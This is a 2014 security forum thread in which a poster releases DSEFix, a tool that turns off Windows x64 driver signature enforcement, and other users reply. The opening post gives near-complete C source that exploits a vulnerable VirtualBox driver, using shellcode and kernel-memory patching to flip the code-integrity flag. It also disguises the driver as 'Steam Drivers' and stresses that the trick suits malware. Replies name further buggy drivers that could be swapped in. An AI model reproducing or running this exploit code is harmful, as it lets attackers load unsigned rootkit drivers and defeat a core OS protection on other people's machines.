Page 1 of 4

DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Sun Jun 08, 2014 8:50 am
by EP_X0FF
We are so happy that most of "rootkit" code inside Turla was inspired by our program and features (this level of awareness is never seen anywhere in ITW malware since Rustock), so we decided to create something inspired by Turla in sort of exchange.

What is Driver Signature Enforcement? It is a security feature added to the NT6 which main purpose is to disallow loading drivers without digital signing, see http://msdn.microsoft.com/en-us/library/windows/hardware/dn653559(v=vs.85).aspx for more info. In reality this is yet another marketing bullshit from MS which ruined many freeware programs, and didn't fixed anything in antimalware field - if malware authors really want to load their driver - they will do this. Mainstream crapware like ssdt hooking trash were dying even without this "improvements" because of PatchGuard which in my opinion much better security feature. And how they implemented this DSE feature. Like many of security features inside MS Windows it is implemented by a single variable flag and casual "IF" statement. The internals of this "security feature" are well described in the web.

The 2 major versions of this feature.

First version built-in Vista and without any noticeable changes in Seven. It is based on global private variable g_CiEnabled (type of BOOLEAN) and "if" checks inside private SepInitializeCodeIntegrity routine.

Second version present since Windows 8 - where the above variable was removed and DSE state now controlled via another global variable (this time initialized in CI.DLL) called g_CiOptions inside CipInitialize routine. This is variable that holds combination of flags - by default it value is 6, without DSE it value set to 0 (you can check this by configuring Windows to boot without DSE).
To make life of WinRT jailbreakers harder MS protected this variable by PatchGuard in 8.1 <- this doesn't affect malware anyhow, why? See below. So like in the past of Vista introduced "Protected Processes" all security based on checking one variable.

How Turla works with DSE? It turns it off with help of old VirtualBox driver that have bug allowing to write and execute code in the kernel mode and as result overwrite certain kernel address. The last available rootkit dated end of 2013 wasn't able to run on Windows 8. There two major reasons why - because it can't disable DSE and PatchGuard. They both changed starting Windows 8. About PatchGuard like Cr4sh said "If your Windows rootkit disabling PatchGuard in any ways -- you probably misunderstanding the rootkits conception." And they were unable to disable DSE because of lack of ready to use source code. Funny yes.

This proclaimed to be goverment sponsored lolkit in a reality is just a result, a compilation of several freelancers work (from both UA and RU) to create and support toolkit they sell for various kinds of espionage. For idiots from BAE Systems who are painting fake malware distribution diagrams in the Excel - No KGB or Kremlin here, guys, take a pill and relax with your prepaid propaganda.

So we would like to reimplement this part of Turla, update "Kremlin hand". Additionally we have fixed original Turla bug disallowing it multiple exploitations.

You use this software at your OWN RISK. It was mainly tested on Vista/7/8.1, this program requires admin rights to run, because of driver loading. This program is not malware no matter what AV think or will be thinking in the future.

For 8.1. case - due to PatchGuard checking routine delay - you need to quickly load your unsigned driver and then restore state of g_CiOptions to avoid wonderful BSOD. Again not a problem for a malware.

running dsefix without parameters turns off DSE, to restore DSE run dsefix with -e parameter.

https://www.virustotal.com/en/file/0671 ... 402216763/

In case of certificate revocation - bugged VirtualBox driver can be replaced with more fresh :)

In case if something doesn't work, you found a bug or you want to copy-paste with your own copyrights here is partial source code.

main.cpp
Code: Select all
#include "ntdll\ntdll.h"
#include "ntdll\ntstatus.h"
#include "main.h"
#include "vbox.h"
#include "vboxdrv.h"
#include "ldasm.h"
#include "rtls\prtl.h"
#include "ntdll\winnative.h"

#pragma data_seg("Shared")
volatile LONG g_lApplicationInstances = 0;
#pragma data_seg()
#pragma comment(linker, "/Section:Shared,RWS")


RTL_OSVERSIONINFOEXW      osv;

//disable DSE (vista+)
const unsigned char shellcode[] = {   /* xor rax, rax */
   0x48, 0x31, 0xc0, 0xc3            /* ret */
};

//enabled DSE (win8+)
const unsigned char shellcode2[] = {    /* xor rax, rax */
   0x48, 0x31, 0xc0, 0xb0, 0x06, 0xc3  /* mov al, 6 */
};                                      /* ret */ 

//enabled DSE (vista+)
const unsigned char shellcode3[] = {    /* xor rax, rax */
   0x48, 0x31, 0xc0, 0xb0, 0x01, 0xc3  /* mov al, 1 */
};                                      /* ret */ 


DWORD align_gt(DWORD p, DWORD align)
{
   if ( (p % align) == 0 )
      return p;

   return p + align - (p % align);
}

DWORD align_le(DWORD p, DWORD align)
{
   if ( (p % align) == 0 )
      return p;

   return p - (p % align);
}

LPVOID PELoaderLoadImage(IN LPVOID Buffer, PDWORD SizeOfImage)
{
   LPVOID               exeBuffer = NULL;
   PIMAGE_DOS_HEADER      dosh = (PIMAGE_DOS_HEADER)Buffer;
   PIMAGE_FILE_HEADER      fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
   PIMAGE_OPTIONAL_HEADER   popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
   PIMAGE_SECTION_HEADER   sections = (PIMAGE_SECTION_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER) + fileh->SizeOfOptionalHeader);
   DWORD               c, p, rsz;
   PIMAGE_BASE_RELOCATION   rel;
   DWORD_PTR            delta;
   LPWORD               chains;

   do {

      *SizeOfImage = popth->SizeOfImage;
      exeBuffer = VirtualAlloc(NULL, popth->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
      if ( exeBuffer == NULL )
         break;

      // render image
      memcpy(exeBuffer, Buffer, align_gt(popth->SizeOfHeaders, popth->FileAlignment));

      for (c=0; c<fileh->NumberOfSections; c++)
         if ( (sections[c].SizeOfRawData > 0) && (sections[c].PointerToRawData > 0) )
            memcpy( (PBYTE)exeBuffer + sections[c].VirtualAddress,
                  (PBYTE)Buffer + align_le(sections[c].PointerToRawData, popth->FileAlignment),
                  align_gt(sections[c].SizeOfRawData, popth->FileAlignment) );

      // reloc image
      dosh = (PIMAGE_DOS_HEADER)exeBuffer;
      fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
      popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
      sections = (PIMAGE_SECTION_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER) + fileh->SizeOfOptionalHeader);

      if ( popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC )
         if ( popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0 )
         {
            rel = (PIMAGE_BASE_RELOCATION)((PBYTE)exeBuffer + popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
            rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
            delta = (DWORD_PTR)exeBuffer - popth->ImageBase;

            c = 0;
            while ( c < rsz ) {
               p = sizeof(IMAGE_BASE_RELOCATION);
               chains = (LPWORD)((PBYTE)rel + p);

               while ( p < rel->SizeOfBlock ) {

                  switch (*chains >> 12) {
                  case IMAGE_REL_BASED_HIGHLOW:
                     *(LPDWORD)((ULONG_PTR)exeBuffer + rel->VirtualAddress + (*chains & 0x0fff) ) += (DWORD)delta;
                     break;
                  case IMAGE_REL_BASED_DIR64:
                     *(PULONGLONG)((ULONG_PTR)exeBuffer + rel->VirtualAddress + (*chains & 0x0fff) ) += delta;
                     break;
                  }

                  chains++;
                  p += sizeof(WORD);
               }

               c += rel->SizeOfBlock;
               rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
            }
         }
      
      return exeBuffer;
   } while ( FALSE );

   return NULL;
}

LPVOID PELoaderGetProcAddress(LPVOID ImageBase, PCHAR RoutineName )
{
   PIMAGE_EXPORT_DIRECTORY      ExportDirectory = NULL;
   PIMAGE_FILE_HEADER         fh1  = NULL;
   PIMAGE_OPTIONAL_HEADER32   oh32 = NULL;
   PIMAGE_OPTIONAL_HEADER64   oh64 = NULL;

   USHORT      OrdinalNumber;
   PULONG      NameTableBase;
   PUSHORT      NameOrdinalTableBase;
   PULONG      Addr;
   LONG      Result;
   ULONG      High, Low, Middle = 0;

   fh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + sizeof(DWORD) );
   oh32 = (PIMAGE_OPTIONAL_HEADER32)((ULONG_PTR)fh1 + sizeof(IMAGE_FILE_HEADER));
   oh64 = (PIMAGE_OPTIONAL_HEADER64)oh32;

   if (fh1->Machine == IMAGE_FILE_MACHINE_AMD64) {
      ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
         oh64->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
   } else {
      ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
         oh32->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
   }

   NameTableBase = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNames);
   NameOrdinalTableBase = (PUSHORT)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
   Low = 0;
   High = ExportDirectory->NumberOfNames - 1;
   while (High >= Low)   {

      Middle = (Low + High) >> 1;

      Result = _strcmpA(
         RoutineName,
         (char *)ImageBase + NameTableBase[Middle]
         );

      if (Result < 0)   {

         High = Middle - 1;

      } else {

         if (Result > 0)   {

            Low = Middle + 1;
            
         } else {

            break;
         }
      }
   } //while
   if (High < Low)   
      return NULL;

   OrdinalNumber = NameOrdinalTableBase[Middle];
   if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions)
      return NULL;

   Addr = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfFunctions);
   return (LPVOID)((PBYTE)ImageBase + Addr[OrdinalNumber]);
}

BOOL ControlDSE(HANDLE hDriver, ULONG_PTR g_CiAddress, PVOID shellcode)
{
   BOOL         bRes = FALSE;
   SUPCOOKIE      Cookie;
   SUPLDROPEN      OpenLdr;
   DWORD         bytesIO = 0;
   PVOID         ImageBase = NULL;
   PSUPLDRLOAD      pLoadTask = NULL;
   SUPSETVMFORFAST vmFast;

   if (!ARGUMENT_PRESENT(hDriver))
      return FALSE;
   if (!ARGUMENT_PRESENT(g_CiAddress))
      return FALSE;
   if (!ARGUMENT_PRESENT(shellcode))
      return FALSE;

   memset(&Cookie, 0, sizeof(SUPCOOKIE));

   Cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
   Cookie.Hdr.cbIn =  SUP_IOCTL_COOKIE_SIZE_IN;
   Cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
   Cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
   Cookie.Hdr.rc = 0;
   Cookie.u.In.u32ReqVersion = 0;
   Cookie.u.In.u32MinVersion = 0x00070002;
   _strcpyA(Cookie.u.In.szMagic, SUPCOOKIE_MAGIC);

   if (!DeviceIoControl(hDriver, SUP_IOCTL_COOKIE, &Cookie, SUP_IOCTL_COOKIE_SIZE_IN, &Cookie,
      SUP_IOCTL_COOKIE_SIZE_OUT, &bytesIO, NULL)) goto fail;

   memset(&OpenLdr, 0, sizeof(OpenLdr));

   OpenLdr.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
   OpenLdr.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
   OpenLdr.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
   OpenLdr.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
   OpenLdr.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
   OpenLdr.Hdr.rc = 0;
   OpenLdr.u.In.cbImage = sizeof(OpenLdr.u.In.szName);
   OpenLdr.u.In.szName[0] = 'a';
   OpenLdr.u.In.szName[1] = 0;

   if (!DeviceIoControl(hDriver, SUP_IOCTL_LDR_OPEN, &OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_IN,
      &OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_OUT, &bytesIO, NULL)) goto fail;

   ImageBase = OpenLdr.u.Out.pvImageBase;

   pLoadTask = (PSUPLDRLOAD)VirtualAlloc(NULL, 0x90, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
   if (pLoadTask == NULL) goto fail;

   memset(pLoadTask, 0, 0x90);

   pLoadTask->Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
   pLoadTask->Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
   pLoadTask->Hdr.cbIn = 0x88;
   pLoadTask->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
   pLoadTask->Hdr.fFlags =  SUPREQHDR_FLAGS_MAGIC;
   pLoadTask->Hdr.rc = 0;
   pLoadTask->u.In.eEPType = SUPLDRLOADEP_VMMR0;
   pLoadTask->u.In.pvImageBase = (RTR0PTR)ImageBase;
   pLoadTask->u.In.EP.VMMR0.pvVMMR0 = (RTR0PTR)(ULONG_PTR)0x1000;
   pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryEx = (RTR0PTR)ImageBase;
   pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryFast = (RTR0PTR)ImageBase;
   pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryInt = (RTR0PTR)ImageBase;
   memcpy(pLoadTask->u.In.achImage, shellcode, sizeof(shellcode));
   pLoadTask->u.In.cbImage = 0x20;

   if (!DeviceIoControl(hDriver, SUP_IOCTL_LDR_LOAD, pLoadTask, 0x88,
      pLoadTask, sizeof(SUPREQHDR), &bytesIO, NULL)) goto fail;

   vmFast.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
   vmFast.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
   vmFast.Hdr.rc = 0;
   vmFast.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
   vmFast.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
   vmFast.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
   vmFast.u.In.pVMR0 = (PVOID)(ULONG_PTR)0x1000;

   if (!DeviceIoControl(hDriver, SUP_IOCTL_SET_VM_FOR_FAST, &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN,
      &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT, &bytesIO, NULL)) goto fail;


   bRes = DeviceIoControl(hDriver, SUP_IOCTL_FAST_DO_NOP, (LPVOID)g_CiAddress, 0, (LPVOID)g_CiAddress, 0, &bytesIO, NULL);

fail:
   if (pLoadTask != NULL) VirtualFree(pLoadTask, 0, MEM_RELEASE);
   if (hDriver != NULL) CloseHandle(hDriver);
   return bRes;
}

BOOL DoWork(HANDLE hDriver, BOOL bDisable)
{
   BOOL                  bRes = FALSE;
   PRTL_PROCESS_MODULES      miSpace = NULL;
   ULONG                  rl = 0, c;
   LONG                  rel = 0;
   NTSTATUS               ntStatus = STATUS_UNSUCCESSFUL;
   CHAR                  KernelFullPathName[BUFFER_SIZE];
   CHAR                  textbuf[BUFFER_SIZE];
   PVOID                  sc = NULL, kBuffer = NULL, MappedKernel = NULL;
   PBYTE                  CiInit = NULL;
   ULONG_PTR               KernelBase = 0L;
   HANDLE                  hFile = INVALID_HANDLE_VALUE;
   LARGE_INTEGER            fsz;
   ldasm_data               ld;

   if (!ARGUMENT_PRESENT(hDriver))
      return FALSE;

   do {

      miSpace = (PRTL_PROCESS_MODULES)VirtualAllocEx(GetCurrentProcess(), NULL, 1024*1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
      if ( miSpace == NULL )
         break;
      
      ntStatus = NtQuerySystemInformation(SystemModuleInformation, miSpace, 1024*1024, &rl);
      if ( !NT_SUCCESS(ntStatus) )
         break;

      if ( miSpace->NumberOfModules == 0 )
         break;

      rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
      if ( rl == 0 )
         break;
      
      KernelFullPathName[rl] = (CHAR)'\\';
      
      
      _strcpyA(textbuf, "[DF] Windows v");
      ultostrA(osv.dwMajorVersion, _strendA(textbuf));
      _strcatA(textbuf, ".");
      ultostrA(osv.dwMinorVersion, _strendA(textbuf));
      OutputDebugStringA(textbuf);


      if ( osv.dwMinorVersion < 2 ) {
         _strcpyA(&KernelFullPathName[rl+1], (const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
         KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
      } else {
         _strcpyA(&KernelFullPathName[rl+1], "CI.DLL");
         for (c=0; c<miSpace->NumberOfModules; c++)
            if ( _strcmpiA((const char *)&miSpace->Modules[c].FullPathName[miSpace->Modules[c].OffsetToFileName], "CI.DLL") == 0 ) {
               KernelBase = (ULONG_PTR)miSpace->Modules[c].ImageBase;
               break;
            }
      }

      VirtualFreeEx(GetCurrentProcess(), miSpace, 0, MEM_RELEASE);
      miSpace = NULL;


      _strcpyA(textbuf, "[DF] Target module ");
      _strcatA(textbuf, KernelFullPathName);
      OutputDebugStringA(textbuf);


      hFile = CreateFileA(KernelFullPathName, SYNCHRONIZE | FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

      _strcpyA(textbuf, "[DF] Module base ");
      u64tohexA(KernelBase, _strendA(textbuf));
      OutputDebugStringA(textbuf);

      if ( hFile == INVALID_HANDLE_VALUE )
         break;
      fsz.QuadPart = 0;
      GetFileSizeEx(hFile, &fsz);

      kBuffer = (PRTL_PROCESS_MODULES)VirtualAllocEx(GetCurrentProcess(), NULL, fsz.LowPart, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
      if ( kBuffer == NULL )
         break;
      if ( !ReadFile(hFile, kBuffer, fsz.LowPart, &rl, NULL) )
         break;
      CloseHandle(hFile);
      hFile = INVALID_HANDLE_VALUE;

      MappedKernel = PELoaderLoadImage(kBuffer, &rl);
      if (MappedKernel == NULL)
         break;

      VirtualFreeEx(GetCurrentProcess(), kBuffer, 0, MEM_RELEASE);
      kBuffer = NULL;
      
      /* find g_CiEnabled vista, seven */
      if ( osv.dwMinorVersion < 2 ) {
         for (c=0; c<rl-sizeof(DWORD); c++) {
            if ( *(PDWORD)((PBYTE)MappedKernel + c) == 0x1d8806eb ) {
               rel = *(PLONG)((PBYTE)MappedKernel + c+4);
               KernelBase = KernelBase + c+8 + rel;
               break;
            }
         }
      } else {
         /* find g_CiOptions w8, blue */
         CiInit = (PBYTE)PELoaderGetProcAddress(MappedKernel, "CiInitialize");
         c=0;
         do {
            if ( CiInit[c] == 0xE9 ) {      /* jmp CipInitialize */
               rel = *(PLONG)(CiInit+c+1);
               break;
            }
            c += ldasm(CiInit+c, &ld, 1);
         } while (c < 256);
         CiInit = CiInit + c+5 + rel;
         c=0;
         do {
            if ( *(PUSHORT)(CiInit+c) == 0x0d89 ) {
               rel = *(PLONG)(CiInit+c+2);
               break;
            }
            c += ldasm(CiInit+c, &ld, 1);
         } while (c < 256);
         CiInit = CiInit + c+6 + rel;
         KernelBase = KernelBase + CiInit - (PBYTE)MappedKernel;
      }

      if ( rel == 0 )
         break;

      _strcpyA(textbuf, "[DF] Apply patch to address ");
      u64tohexA(KernelBase, _strendA(textbuf));
      OutputDebugStringA(textbuf);

      if (bDisable) {
         sc = (PVOID)shellcode;
      } else {
         //vista+
         if ( osv.dwMinorVersion < 2 ) {
            sc = (PVOID)shellcode3;
         } else {
            //8+
            sc = (PVOID)shellcode2;
         }
      }

      bRes = ControlDSE(hDriver, KernelBase, sc);

   } while ( FALSE );


   if ( hFile != INVALID_HANDLE_VALUE )
      CloseHandle(hFile);
   if ( kBuffer != NULL )
      VirtualFreeEx(GetCurrentProcess(), kBuffer, 0, MEM_RELEASE);
   if ( MappedKernel != NULL )
      VirtualFreeEx(GetCurrentProcess(), MappedKernel, 0, MEM_RELEASE);
   if ( miSpace != NULL )
      VirtualFreeEx(GetCurrentProcess(), miSpace, 0, MEM_RELEASE);


   return bRes;
}

HANDLE LoadVulnerableDriver(
   VOID
   )
{
   HANDLE                hDriver = NULL;
   NTSTATUS             Status = STATUS_UNSUCCESSFUL;
   UNICODE_STRING       drvname;
   OBJECT_ATTRIBUTES    attr;
   WCHAR                szDriverBuffer[BUFFER_SIZE];   

   RtlSecureZeroMemory(szDriverBuffer, BUFFER_SIZE);
   _strcpyW(szDriverBuffer, L"\\??\\");

   if (GetSystemDirectory(&szDriverBuffer[4], MAX_PATH)) {

      _strcatW(szDriverBuffer, L"\\drivers\\ultra4.sys");

      Status = (NTSTATUS)NativeWriteBufferToFile(&szDriverBuffer[4], VBoxDrv,
         sizeof(VBoxDrv), FALSE, FALSE);

      if ( NT_SUCCESS(Status) ) {
         Status = NativeLoadDriver(szDriverBuffer, VBoxDrvRegPath, VBoxDrvDispName);
         if ( NT_SUCCESS(Status) ) {
            hDriver = NativeOpenDevice(VBoxDrvDevName, NULL);
         }

         RtlInitUnicodeString(&drvname, szDriverBuffer);
         InitializeObjectAttributes(&attr, &drvname, OBJ_CASE_INSENSITIVE, 0, NULL);
         NtDeleteFile(&attr);
      }
   }
   return hDriver;
}

void UnloadVulnerableDriver(
   VOID
   )
{
   NativeUnLoadDriver(VBoxDrvRegPath);
   NativeRegDeleteKeyRecursive(0, VBoxDrvRegPath);
}

void main()
{
   LONG x;
   ULONG l = 0;
   HANDLE hDriver = NULL;
   WCHAR cmdLineParam[MAX_PATH];
   BOOL bDisable = TRUE;
   
   OutputDebugStringA("[DF] DSEFIX v1.0 started (c) 2014 EP_X0FF, MP_ART, nrin");
   OutputDebugStringA("[DF] Supported x64 OS: from NT6.0 up to NT6.3");

   x = InterlockedIncrement((PLONG)&g_lApplicationInstances);
   if ( x > 1 ) {
      InterlockedDecrement((PLONG)&g_lApplicationInstances);
      OutputDebugStringA("[DF] Another instance running, close it before");
      ExitProcess(0);
      return;
   }

   RtlSecureZeroMemory(&osv, sizeof(osv));
   osv.dwOSVersionInfoSize = sizeof(osv);
   RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
   if ( osv.dwMajorVersion != 6 ) {
      InterlockedDecrement((PLONG)&g_lApplicationInstances);
      OutputDebugStringA("[DF] Unsuppoted OS");
      ExitProcess(0);
      return;
   }

   RtlSecureZeroMemory(cmdLineParam, sizeof(cmdLineParam));
   GetCommandLineParamW(GetCommandLineW(), 1, cmdLineParam, MAX_PATH, &l);

   if ( _strcmpiW(cmdLineParam, L"-e") == 0 ) {
      OutputDebugStringA("[DF] DSE will be (re)enabled");
      bDisable = FALSE;
   } else {
      OutputDebugStringA("[DF] DSE will be disabled");
      bDisable = TRUE;
   }

   //assign driver load privilege
   if (NT_SUCCESS(NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE))) {

      OutputDebugStringA("[DF] Load driver privilege adjusted");

      hDriver = LoadVulnerableDriver();
      if (hDriver != NULL) {

         OutputDebugStringA("[DF] Vulnerable driver loaded");

         //manupulate kernel variable      
         if (DoWork(hDriver, bDisable)) {
            OutputDebugStringA("[DF] Kernel memory patched");
         } else {
            OutputDebugStringA("[DF] Failed to patch kernel memory");
         }

         OutputDebugStringA("[DF] Cleaning up");
         UnloadVulnerableDriver();
      } else {
         OutputDebugStringA("[DF] Failed to load vulnerable driver");
      }

   } else {
      OutputDebugStringA("[DF] Cannot adjust privilege");
   }
   InterlockedDecrement((PLONG)&g_lApplicationInstances);
   OutputDebugStringA("[DF] Finish");
   ExitProcess(0);
}


main.h
Code: Select all
#define BUFFER_SIZE MAX_PATH * 2
#define VBoxDrvDispName L"Steam Drivers"
#define VBoxDrvRegPath   L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\vboxdrv"
#define VBoxDrvDevName  L"\\Device\\VBoxDrv"


vboxdrv.h is a translated to C array binary of vulnerable driver
vbox header -> viewtopic.php?p=22363#p22363
ldasm -> https://github.com/vol4ok/libsplice/blo ... km/ldasm.c

Example of usage
Image

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Tue Jun 10, 2014 9:10 am
by AaLl86
There is a way to completely disable Windows 8.1 Patchguard in a live system.... But the solution you have proposed actually work: if you disable DSE, load your unsigned driver, and then immediately restore DSE original status, no crash anymore....

"In case of certificate revocation - bugged VirtualBox driver can be replaced with more fresh :) " Which one? Could you be so kindly to tell me?

Andrea

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Tue Jun 10, 2014 9:16 am
by EP_X0FF
1) There is no need to turn off PG, it is sign of rootkit author incompetence.
2) Take any bugged driver that allows you to write at random address and do the same. It is not proposed to maintain and support this "tool" at forever. If they finally manage to ban the bugged vbox then we did not regret it at all.

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Tue Jun 10, 2014 9:48 am
by AaLl86
EP_X0FF wrote:1) There is no need to turn off PG, it is sign of rootkit author incompetence.
2) Take any bugged driver that allows you to write at random address and do the same. It is not proposed to maintain and support this "tool" at forever. If they finally manage to ban the bugged vbox then we did not regret it at all.


Hi EP_X0FF!
Thanks for the answer.
I agree with you for the point 1, but I think that in rare cases, when you do some deep particular Kernel hook, you need to disable PG....
Of course there are a lot "legal" way to perform filtering, and stuff like that, but for infections like Turla, I think that it actually need to disable it. Btw mine is only a personal thought. Why "it is sign of rootkit author incompetence"? To disable last version of Windows 8.1 PG, you have to be very skilled.... trust in me :-)

Btw do you know some example of bugged driver like the Vbox one? Can you pinpoint some references for me?

Thanks very much!
Great work btw!
Andrea

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Tue Jun 10, 2014 10:19 am
by EP_X0FF
Btw do you know some example of bugged driver like the Vbox one? Can you pinpoint some references for me?


http://www.powerofcommunity.net/poc2012/mj0011.pdf as for something new, well you should understand that it is kind of zeroday. Link to example inside.

when you do some deep particular Kernel hook, you need to disable PG....


TDL3 and based on it TDL4 are most successful commercial rootkits of all time, none of them hook anything in kernel (except original TDL3 but it was x86-32 only) that can trigger PatchGuard. Kernel code modification is by design self revealing of rootkit presense. What is rootkit if it self-reveals? It is lolkit then. The only reason why they hack code in kernel and disable PatchGuard - incompetence, this means they unable to do what they want to do without direct hack.

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Wed Jun 11, 2014 12:53 pm
by Vrtule
Hi Andrea,

Btw do you know some example of bugged driver like the Vbox one? Can you pinpoint some references for me?

For some time, it was possible to bypass DSE with the following buggy driver:
https://github.com/shjalayeri/DriveCrypt
I tested it about year abo and it still worked, howerver, it is possible that my machine had not up-to-date CRLs (I am not sure whether they are installed automatically).

If I wanted to find a buggy driver, I would examine drivers that are parts of a security software produced by a small (and relatively unknown) company (it may also be something like disk encryption software).

Patchguard
I also view the Patchguard as a much better security feature than DSE. Personally, I usualy attempt not to hook at all, if possible. Well, hooks can be much simpler and more straightforward way how to do something but they are still visible and tend to be less stable (and portable) than more documented techniques.

The DSE would work quite well if:
* the drivers were not buggy, or
* the process of issuing and managing a Class 3 certificate was more strict (well, $500 is not a price many want to pay and customer verifications are quite tough. In some countries, AFAIK, it is quite impossible to complete the the verificaton process without breaking local laws. But I think nobody forces you to revoke your certificate in case a serious bug is found in your driver).

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Wed Jun 11, 2014 6:00 pm
by R136a1
Vrtule wrote:The DSE would work quite well if:
* the drivers were not buggy, or
* the process of issuing and managing a Class 3 certificate was more strict (well, $500 is not a price many want to pay and customer verifications are quite tough. In some countries, AFAIK, it is quite impossible to complete the the verificaton process without breaking local laws. But I think nobody forces you to revoke your certificate in case a serious bug is found in your driver).


You forget that certificates can be stolen to sign your own code without any problems. There are also open-source certificates which are abused by Malware/Adware (e.g. http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml). It' has shown that the whole certification story is nice business model for moneymaking, but no real benefit for security...

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Wed Jun 11, 2014 7:00 pm
by Vrtule
R136a1 wrote:
Vrtule wrote:The DSE would work quite well if:
* the drivers were not buggy, or
* the process of issuing and managing a Class 3 certificate was more strict (well, $500 is not a price many want to pay and customer verifications are quite tough. In some countries, AFAIK, it is quite impossible to complete the the verificaton process without breaking local laws. But I think nobody forces you to revoke your certificate in case a serious bug is found in your driver).


You forget that certificates can be stolen to sign your own code without any problems. There are also open-source certificates which are abused by Malware/Adware (e.g. http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml). It' has shown that the whole certification story is nice business model for moneymaking, but no real benefit for security...


Well, I think that when a certificate is stolen and abused the responsibility still lies on its original owner (unless it is revoked in time) because it is the responsibility of the owner to protect the certificate by such means that minimize probability of stealing it. But I do not expect there were any punishments in this manner (for code signing certificates).

What information must one provide to get this open source certificate (http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml)?

Yes, certs become quite good business. And there is another problem; when a file is signed people (and software) tend to automatically treat is as trusted.

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Fri Jun 13, 2014 10:48 am
by R136a1
Vrtule wrote:What information must one provide to get this open source certificate (http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml)?


I don't know, but the first data can be submitted here:
https://en.sklep.unizeto.pl/test_certificates

Are you asking in context of your VrtuleTree tool? I think it is indeed a nice offer from Certum, I would give it a try.

Re: DSEFix - Defeating x64 Driver Signature Enforcement

PostPosted: Fri Jun 13, 2014 11:25 am
by Vrtule
Are you asking in context of your VrtuleTree tool? I think it is indeed a nice offer from Certum, I would give it a try.

No, I am just curious. I have finally passed the verification steps needed by Symantec, so I got that expensive certificate for one year (I could afford it since I got some "extra" money). I am just wondering if the Certum requires a letter with customer's signature verified by Notary Public (and with some photocopies of identification card(s)) as Symantec does.